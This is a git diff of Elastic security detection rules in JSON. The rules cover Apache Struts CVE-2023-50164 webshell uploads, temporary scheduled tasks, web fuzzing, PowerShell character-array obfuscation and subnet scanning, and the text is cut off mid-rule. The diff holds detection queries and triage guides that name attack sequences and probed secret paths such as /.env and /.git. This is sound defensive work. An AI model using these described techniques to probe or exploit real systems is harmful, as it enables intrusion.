"7b3da11a-60a2-412e-8aa7-011e1eb9ed47", + "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Tactic: Defense Evasion", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.007", + "name": "Disable or Modify Cloud Firewall", + "reference": "https://attack.mitre.org/techniques/T1562/007/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "7b3da11a-60a2-412e-8aa7-011e1eb9ed47_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/7f3e8b9a-2c4d-5e6f-8a1b-9c2d3e4f5a6b_1.json b/packages/security_detection_engine/kibana/security_rule/7f3e8b9a-2c4d-5e6f-8a1b-9c2d3e4f5a6b_1.json new file mode 100644 index 00000000000..3abaaa044f0 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/7f3e8b9a-2c4d-5e6f-8a1b-9c2d3e4f5a6b_1.json @@ -0,0 +1,157 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies successful exploitation of CVE-2023-50164, a critical path traversal vulnerability in Apache Struts 2 file upload functionality. This high-fidelity rule detects a specific attack sequence where a malicious multipart/form-data POST request with WebKitFormBoundary is made to a Struts .action upload endpoint, immediately followed by the creation of a JSP web shell file by a Java process in Tomcat's webapps directories. This correlated activity indicates active exploitation resulting in remote code execution capability through unauthorized file upload and web shell deployment.", + "false_positives": [ + "False positives are expected to be very rare due to the specific nature of this rule. Legitimate application deployments typically do not involve multipart form uploads to .action endpoints followed immediately by JSP file creation in webapps directories. However, custom deployment scripts or automated testing tools that simulate file uploads could potentially trigger this alert. Review the source IP, user agent, uploaded file content, timing, and deployment schedules to validate if the activity is authorized. Standard package manager operations are already excluded from detection." + ], + "from": "now-9m", + "index": [ + "logs-endpoint.events.*", + "logs-network_traffic.*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation", + "note": "## Triage and analysis\n\n### Investigating Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation\n\nCVE-2023-50164 is a critical path traversal vulnerability in Apache Struts 2 that allows attackers to manipulate file upload parameters and write malicious files to arbitrary locations on the web server. This vulnerability affects the file upload feature and enables attackers to bypass security controls, upload JSP-based web shells, and achieve remote code execution. This detection rule identifies the complete attack chain by correlating suspicious file upload requests to Struts endpoints with the subsequent creation of JSP files in web-accessible directories, indicating successful exploitation.\n\n### Possible investigation steps\n\n- Review the source IP address of the HTTP POST request to determine if it originates from a known malicious source, VPN/proxy service, or unexpected geographic location that does not align with legitimate application usage patterns.\n- Examine the complete HTTP request details including headers, user agent string, and the full request body content to identify indicators of exploit code, path traversal attempts, or malicious payloads embedded in the multipart form data.\n- Investigate the created JSP file by examining its contents, file name, creation timestamp, and file permissions to determine if it contains web shell code, command execution capabilities, or other malicious functionality.\n- Check for any subsequent process execution, network connections, or file system activities originating from the Java process after the JSP file creation, which may indicate that the web shell has been accessed and used by the attacker.\n- Review web server access logs for requests to the newly created JSP file path to identify if the attacker has attempted to access or execute the web shell, and capture any command execution or data exfiltration attempts.\n- Examine the affected Struts application logs and Tomcat catalina logs for additional context about the file upload request, error messages, or anomalous behavior that occurred during the exploitation attempt.\n- Identify the version of Apache Struts 2 running on the affected server to confirm if it is vulnerable to CVE-2023-50164 (versions prior to 2.5.33 or 6.3.0.2 are affected).\n- Search for additional suspicious file creations, modifications, or deletions in the webapps directories that may indicate the attacker attempted multiple exploitation attempts or deployed additional persistence mechanisms.\n\n### False positive analysis\n\n- Legitimate application deployments using multipart form uploads to Struts endpoints followed by JSP file creation are uncommon but possible in custom deployment workflows. Review the source IP, user identity, and timing against known deployment schedules and authorized deployment systems.\n- Automated testing frameworks or security scanning tools that test file upload functionality may trigger this rule if they upload files to Struts endpoints. Identify and exclude known security testing tools or authorized penetration testing activities based on source IP or user agent patterns.\n- Development or staging environments where developers frequently test file upload features may generate alerts. Consider creating exceptions for non-production environments or restricting the rule to production systems only.\n- CI/CD pipelines that deploy applications via multipart form uploads could potentially match this pattern, though this is rare. Review the deployment process and create exceptions for known automated deployment systems if necessary.\n\n### Response and remediation\n\n- Immediately isolate the affected web server from the network to prevent further exploitation, lateral movement, or data exfiltration by the attacker.\n- Identify and delete the malicious JSP web shell file from the web server, ensuring you preserve a copy for forensic analysis and evidence collection.\n- Terminate any active web shell sessions by restarting the Java application server process and reviewing all active network connections for suspicious activity.\n- Review web server access logs to identify all IP addresses that accessed the web shell and block those IP addresses at the network perimeter to prevent re-exploitation.\n- Conduct a comprehensive scan of the affected server for additional web shells, backdoors, persistence mechanisms, or signs of lateral movement to other systems in the environment.\n- Patch the Apache Struts 2 installation to version 2.5.33, 6.3.0.2, or higher to remediate the CVE-2023-50164 vulnerability and prevent future exploitation attempts.\n- Review and harden file upload configurations in Struts applications, implement strict input validation, restrict file upload locations, and consider implementing web application firewall (WAF) rules to detect and block path traversal attempts.\n- Reset credentials for any accounts or services running on the compromised server, as the attacker may have captured sensitive information or credentials through the web shell.\n- Escalate the incident to the security operations center (SOC) and incident response team for comprehensive investigation, threat hunting, and to determine if additional systems were compromised.\n- Conduct a post-incident review to identify gaps in detection, response, and vulnerability management processes, and implement improvements to prevent similar incidents in the future.\n", + "query": "sequence by agent.id with maxspan=10s\n [network where data_stream.dataset == \"network_traffic.http\" and\n http.request.method == \"POST\" and\n http.request.body.content like \"*WebKitFormBoundary*\" and\n url.path like~ \"*upload*.action\"]\n [file where event.dataset == \"endpoint.events.file\" and\n host.os.type == \"linux\" and\n event.action == \"creation\" and\n process.name == \"java\" and\n file.extension == \"jsp\" and\n file.path like \"*/webapps/*\" and\n not file.path like \"*/WEB-INF/*\" and\n not file.path like \"*/META-INF/*\" and\n not process.parent.name in (\"apk\", \"apt\", \"apt-get\", \"dpkg\", \"yum\", \"rpm\", \"dnf\", \"systemd\", \"init\")]\n", + "references": [ + "https://nvd.nist.gov/vuln/detail/CVE-2023-50164", + "https://www.trendmicro.com/en_us/research/23/l/decoding-cve-2023-50164--unveiling-the-apache-struts-file-upload.html", + "https://github.com/snyk-labs/CVE-2023-50164-POC" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "network_traffic", + "version": "^1.1.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "data_stream.dataset", + "type": "constant_keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.extension", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "http.request.body.content", + "type": "wildcard" + }, + { + "ecs": true, + "name": "http.request.method", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "url.path", + "type": "wildcard" + } + ], + "risk_score": 73, + "rule_id": "7f3e8b9a-2c4d-5e6f-8a1b-9c2d3e4f5a6b", + "setup": "## Setup\n\nThis rule requires data coming in from both Elastic Defend (for file events) and Network Packet Capture integrations (for HTTP traffic analysis).\n\n### Network Packet Capture Integration Setup\n\n**IMPORTANT**: This rule requires HTTP request body capture to be enabled in order to detect the multipart/form-data content containing WebKitFormBoundary indicators. The network traffic integration must be configured to capture HTTP request bodies for POST requests with `multipart/form-data` content type.\n", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "Domain: Web", + "Domain: Network", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Initial Access", + "Tactic: Persistence", + "Data Source: Elastic Defend", + "Data Source: Network Traffic", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Initial Access", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1190", + "name": "Exploit Public-Facing Application", + "reference": "https://attack.mitre.org/techniques/T1190/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1505", + "name": "Server Software Component", + "reference": "https://attack.mitre.org/techniques/T1505/", + "subtechnique": [ + { + "id": "T1505.003", + "name": "Web Shell", + "reference": "https://attack.mitre.org/techniques/T1505/003/" + } + ] + } + ] + } + ], + "type": "eql", + "version": 1 + }, + "id": "7f3e8b9a-2c4d-5e6f-8a1b-9c2d3e4f5a6b_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/81ff45f8-f8c2-4e28-992e-5a0e8d98e0fe_113.json b/packages/security_detection_engine/kibana/security_rule/81ff45f8-f8c2-4e28-992e-5a0e8d98e0fe_113.json new file mode 100644 index 00000000000..ce08dbba56f --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/81ff45f8-f8c2-4e28-992e-5a0e8d98e0fe_113.json @@ -0,0 +1,124 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Indicates the creation and deletion of a scheduled task within a short time interval. Adversaries can use these to proxy malicious execution via the schedule service and perform clean up.", + "false_positives": [ + "Legitimate scheduled tasks may be created during installation of new software." + ], + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Temporarily Scheduled Task Creation", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Temporarily Scheduled Task Creation\n\nScheduled tasks in Windows environments automate routine tasks, but adversaries exploit them for persistence and execution by creating and quickly deleting tasks to mask malicious activity. The detection rule identifies such behavior by tracking task creation and deletion within a short timeframe, flagging potential misuse when these actions occur in rapid succession without typical user patterns.\n\n### Possible investigation steps\n\n- Review the winlog.computer_name field to identify the affected system and determine if it is a critical asset or part of a sensitive network segment.\n- Examine the winlog.event_data.TaskName to understand the nature of the task created and deleted, and assess if it aligns with known legitimate tasks or appears suspicious.\n- Investigate the user.name associated with the task creation and deletion events to determine if the activity was performed by a legitimate user or potentially compromised account.\n- Check for any related events or logs around the same timeframe on the affected system to identify any additional suspicious activities or anomalies.\n- Correlate the task creation and deletion events with other security alerts or incidents to determine if this activity is part of a broader attack campaign or isolated incident.\n\n### False positive analysis\n\n- Routine administrative tasks may trigger the rule if system administrators frequently create and delete scheduled tasks for maintenance purposes. To manage this, create exceptions for known administrative accounts or specific task names that are part of regular operations.\n- Automated scripts or software updates that temporarily create scheduled tasks can also cause false positives. Identify these scripts or update processes and exclude their associated user accounts or task names from the detection rule.\n- Some legitimate applications may use scheduled tasks for temporary operations. Review application documentation to confirm such behavior and exclude these applications by their task names or associated user accounts.\n- In environments with frequent testing or development activities, developers might create and delete tasks as part of their workflow. Consider excluding developer accounts or specific task names used in testing environments to reduce noise.\n- Scheduled tasks created by monitoring or security tools for short-lived operations can be mistaken for malicious activity. Verify these tools' behavior and exclude their task names or user accounts if they are known to be safe.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement.\n- Review the scheduled task details, including the task name and associated scripts or executables, to identify any malicious payloads or commands.\n- Terminate any malicious processes or executables identified from the scheduled task analysis to stop ongoing threats.\n- Restore any altered or deleted system files from a known good backup to ensure system integrity.\n- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems are affected.\n- Implement additional monitoring and alerting for similar scheduled task activities to enhance detection and prevent recurrence of this threat.", + "query": "sequence by winlog.computer_name, winlog.event_data.TaskName with maxspan=5m\n [iam where host.os.type == \"windows\" and event.action == \"scheduled-task-created\" and not user.name : \"*$\"]\n [iam where host.os.type == \"windows\" and event.action == \"scheduled-task-deleted\" and not user.name : \"*$\"]\n", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.computer_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.TaskName", + "type": "unknown" + } + ], + "risk_score": 47, + "rule_id": "81ff45f8-f8c2-4e28-992e-5a0e8d98e0fe", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Tactic: Execution", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1053", + "name": "Scheduled Task/Job", + "reference": "https://attack.mitre.org/techniques/T1053/", + "subtechnique": [ + { + "id": "T1053.005", + "name": "Scheduled Task", + "reference": "https://attack.mitre.org/techniques/T1053/005/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1053", + "name": "Scheduled Task/Job", + "reference": "https://attack.mitre.org/techniques/T1053/", + "subtechnique": [ + { + "id": "T1053.005", + "name": "Scheduled Task", + "reference": "https://attack.mitre.org/techniques/T1053/005/" + } + ] + } + ] + } + ], + "type": "eql", + "version": 113 + }, + "id": "81ff45f8-f8c2-4e28-992e-5a0e8d98e0fe_113", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/8383a8d0-008b-47a5-94e5-496629dc3590_1.json b/packages/security_detection_engine/kibana/security_rule/8383a8d0-008b-47a5-94e5-496629dc3590_1.json new file mode 100644 index 00000000000..3e47985bd1c --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/8383a8d0-008b-47a5-94e5-496629dc3590_1.json @@ -0,0 +1,133 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects potential web server discovery or fuzzing activity by identifying a high volume of HTTP GET requests resulting in 404 or 403 status codes from a single source IP address within a short timeframe. Such patterns may indicate that an attacker is attempting to discover hidden or unlinked resources on a web server, which can be a precursor to more targeted attacks.", + "from": "now-9m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Web Server Discovery or Fuzzing Activity", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Web Server Discovery or Fuzzing Activity\n\nThis rule flags a single origin generating a rapid burst of GET requests that produce many 404/403 responses, a hallmark of automated web discovery or fuzzing. Attackers commonly run wordlist-driven enumeration to probe paths such as /admin/, /login, /backup.zip, /.env, /.git/, and undocumented API routes, gauging which resources exist and where access controls fail. Detecting this reconnaissance early helps prevent subsequent targeted exploitation of newly found endpoints and weak authentication flows.\n\n### Possible investigation steps\n\n- Correlate user-agent, TLS JA3/JA4, Host/SNI, and X-Forwarded-For to fingerprint the client, identify common fuzzing tools or disguised automation, and recover the true origin if traffic traversed a CDN or proxy.\n- Summarize the top requested paths and response codes for this source to spot any 2xx or 401 outcomes amid the denials, flagging hits on sensitive locations such as /.env, /.git, /admin interfaces, backups, installer scripts, and undocumented API routes.\n- Pivot to the same timeframe for adjacent web and authentication activity from this origin to see whether POSTs, credential attempts, or parameterized requests followed the enumeration, indicating progression toward exploitation or spraying.\n- Review WAF/CDN and reverse-proxy logs for blocks, challenges, or rate limiting and whether multiple virtual hosts were targeted via the Host header, confirming if and how far requests reached the application tier.\n- Validate whether the source aligns with approved internal scanners or scheduled testing via inventories and change records, and if not, enrich with ASN/geolocation, reverse DNS, and threat intel to assess reputation and recurrence across your estate.\n\n### False positive analysis\n\n- An internal QA link checker or monitoring crawler run from a single host can request hundreds of unique paths and generate many 404/403 GETs when routes, assets, or permissions are misconfigured.\n- A shared egress IP (NAT or corporate proxy) aggregating many users during a faulty deployment can trigger high volumes of 404/403 GETs as browsers collectively hit moved or newly restricted resources.\n\n### Response and remediation\n\n- Immediately rate-limit or block the offending source IP at the WAF/CDN and reverse proxy, applying a challenge or temporary ban to the observed User-Agent and JA3/JA4 fingerprint driving the 500+ unique-path 404/403 GET burst.\n- If traffic came through a proxy or CDN, use X-Forwarded-For to identify and block the true origin, and add a temporary ASN or geolocation block if the source aligns with known scanner networks.\n- Verify whether the source is an approved internal scanner; if not, disable the job or container, remove any scheduled tasks and API keys used, and notify the owner to stop testing against production immediately.\n- Review the requested path list to identify any 2xx or 401 hits and remediate exposures such as accessible /.env, /.git, /admin interfaces, backup archives, or installer scripts by removing files, disabling endpoints, and rotating secrets.\n- Escalate to incident response if enumeration persists after blocking, pivots to POSTs or credential attempts, originates from rotating IPs (Tor/VPN/residential), or produces 2xx on sensitive endpoints despite WAF rules.\n- Harden the web tier by enabling per-IP rate limiting and bot challenges, turning off directory listing and default app endpoints, blocking patterns like /.git/, /.env, and /backup.zip at the WAF, and restricting origin access to CDN egress only.\n", + "query": "from logs-network_traffic.http-*, logs-network_traffic.tls-*, logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*\n| where\n (url.original is not null or url.full is not null) and\n http.request.method == \"GET\" and \n http.response.status_code in (404, 403)\n\n| eval Esql.url_text = case(url.original is not null, url.original, url.full)\n| eval Esql.url_lower = to_lower(Esql.url_text)\n\n| keep\n @timestamp,\n event.dataset,\n http.request.method,\n http.response.status_code,\n source.ip,\n agent.id,\n host.name,\n Esql.url_lower\n| stats\n Esql.event_count = count(),\n Esql.url_lower_count_distinct = count_distinct(Esql.url_lower),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id),\n Esql.http_request_method_values = values(http.request.method),\n Esql.http_response_status_code_values = values(http.response.status_code),\n Esql.url_path_values = values(Esql.url_lower),\n Esql.event_dataset_values = values(event.dataset)\n by source.ip\n| where\n Esql.event_count > 500 and Esql.url_lower_count_distinct > 250\n", + "related_integrations": [ + { + "package": "network_traffic", + "version": "^1.1.0" + }, + { + "package": "nginx", + "version": "^2.0.0" + }, + { + "package": "apache", + "version": "^2.0.0" + }, + { + "package": "apache_tomcat", + "version": "^1.0.0" + }, + { + "package": "iis", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_dataset_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.http_request_method_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.http_response_status_code_values", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.url_lower_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.url_path_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + } + ], + "risk_score": 21, + "rule_id": "8383a8d0-008b-47a5-94e5-496629dc3590", + "severity": "low", + "tags": [ + "Domain: Web", + "Domain: Network", + "Use Case: Threat Detection", + "Tactic: Reconnaissance", + "Data Source: Network Packet Capture", + "Data Source: Nginx", + "Data Source: Apache", + "Data Source: Apache Tomcat", + "Data Source: IIS", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0043", + "name": "Reconnaissance", + "reference": "https://attack.mitre.org/tactics/TA0043/" + }, + "technique": [ + { + "id": "T1595", + "name": "Active Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/", + "subtechnique": [ + { + "id": "T1595.002", + "name": "Vulnerability Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/002/" + }, + { + "id": "T1595.003", + "name": "Wordlist Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 1 + }, + "id": "8383a8d0-008b-47a5-94e5-496629dc3590_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/85e2d45e-a3df-4acf-83d3-21805f564ff4_1.json b/packages/security_detection_engine/kibana/security_rule/85e2d45e-a3df-4acf-83d3-21805f564ff4_1.json deleted file mode 100644 index bb99d6bb3e9..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/85e2d45e-a3df-4acf-83d3-21805f564ff4_1.json +++ /dev/null @@ -1,79 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies PowerShell scripts that use character arrays and runtime string reconstruction as a form of obfuscation. This technique breaks strings into individual characters, often using constructs like char[] with index-based access or joining logic. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential PowerShell Obfuscation via Character Array Reconstruction", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\"\n\n// Filter for scripts that contain the \"char\" keyword using MATCH, boosts the query performance\n| WHERE powershell.file.script_block_text : \"char\"\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| EVAL replaced_with_fire = REPLACE(powershell.file.script_block_text, \"\"\"(char\\[\\]\\]\\(\\d+,\\d+[^)]+|(\\s?\\(\\[char\\]\\d+\\s?\\)\\+){2,})\"\"\", \"\ud83d\udd25\")\n\n// Count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| EVAL count = LENGTH(replaced_with_fire) - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP count, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.path, powershell.sequence, powershell.total, _id, _index, host.name, agent.id, user.id\n| WHERE count >= 1\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 21, - "rule_id": "85e2d45e-a3df-4acf-83d3-21805f564ff4", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "85e2d45e-a3df-4acf-83d3-21805f564ff4_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/860f2a03-a1cf-48d6-a674-c6d62ae608a1_4.json b/packages/security_detection_engine/kibana/security_rule/860f2a03-a1cf-48d6-a674-c6d62ae608a1_4.json deleted file mode 100644 index 6b26bb91486..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/860f2a03-a1cf-48d6-a674-c6d62ae608a1_4.json +++ /dev/null @@ -1,55 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects potential subnet scanning activity from a compromised host. Subnet scanning is a common reconnaissance technique used by attackers to identify live hosts within a network range. A compromised host may exhibit subnet scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable hosts, or prepare for further exploitation. This rule identifies potential subnet scanning activity by monitoring network connection attempts from a single host to a large number of hosts within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", - "from": "now-61m", - "interval": "1h", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential Subnet Scanning Activity from Compromised Host", - "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Subnet Scanning Activity from Compromised Host\n\nSubnet scanning is a reconnaissance method used by attackers to map network topology and identify active hosts. Adversaries exploit compromised hosts to perform these scans, seeking vulnerabilities for further attacks. The detection rule identifies such activity by monitoring Linux hosts for numerous connection attempts to different IPs within a short period, indicating potential scanning behavior. This helps in early detection and mitigation of network threats.\n\n### Possible investigation steps\n\n- Review the process executable identified in the alert to determine if it is a known or legitimate application that should be making network connections.\n- Examine the destination IP addresses to identify any patterns or known malicious IPs, and check if these IPs are part of the organization's network or external.\n- Investigate the specific host (using the agent.id) to assess if there are any signs of compromise, such as unusual processes or unauthorized access.\n- Correlate the event timestamp with other logs or alerts to identify any concurrent suspicious activities or anomalies on the host.\n- Check for any recent changes or updates on the host that might explain the scanning behavior, such as new software installations or configuration changes.\n\n### False positive analysis\n\n- High-volume legitimate network monitoring tools may trigger the rule. Identify and exclude these tools by adding their process executables to an exception list.\n- Automated backup systems that connect to multiple hosts within a short timeframe can be mistaken for scanning activity. Review and exclude these systems by their process executable or agent ID.\n- Security software performing routine network health checks might generate false positives. Verify these activities and create exceptions based on the specific process executable involved.\n- Internal IT scripts or administrative tasks that involve connecting to numerous hosts for maintenance purposes can trigger alerts. Document these tasks and exclude them by process executable or agent ID.\n- Cloud-based services or applications that require frequent connections to various hosts for functionality may appear as scanning. Identify these services and exclude them by their process executable or agent ID.\n\n### Response and remediation\n\n- Isolate the compromised host immediately from the network to prevent further scanning and potential lateral movement by the attacker.\n- Terminate any suspicious processes identified by the executable name in the alert to stop ongoing scanning activities.\n- Conduct a thorough examination of the compromised host to identify and remove any malware or unauthorized access tools that may have been installed.\n- Reset credentials and review access permissions for the compromised host to ensure no unauthorized access persists.\n- Update and patch the compromised host and any other vulnerable systems identified during the investigation to close security gaps.\n- Monitor network traffic closely for any signs of continued scanning or other suspicious activities from other hosts, indicating potential further compromise.\n- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine if additional hosts are affected.\n", - "query": "from logs-endpoint.events.network-*\n| keep @timestamp, host.os.type, event.type, event.action, process.executable, destination.ip, agent.id, host.name\n| where @timestamp > now() - 1 hours\n| where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"connection_attempted\"\n| stats cc = count(), dest_count = count_distinct(destination.ip), agent_count = count_distinct(agent.id), host.name = VALUES(host.name), agent.id = VALUES(agent.id) by process.executable\n| where agent_count == 1 and dest_count > 250\n| sort cc asc\n| limit 100\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "risk_score": 21, - "rule_id": "860f2a03-a1cf-48d6-a674-c6d62ae608a1", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper 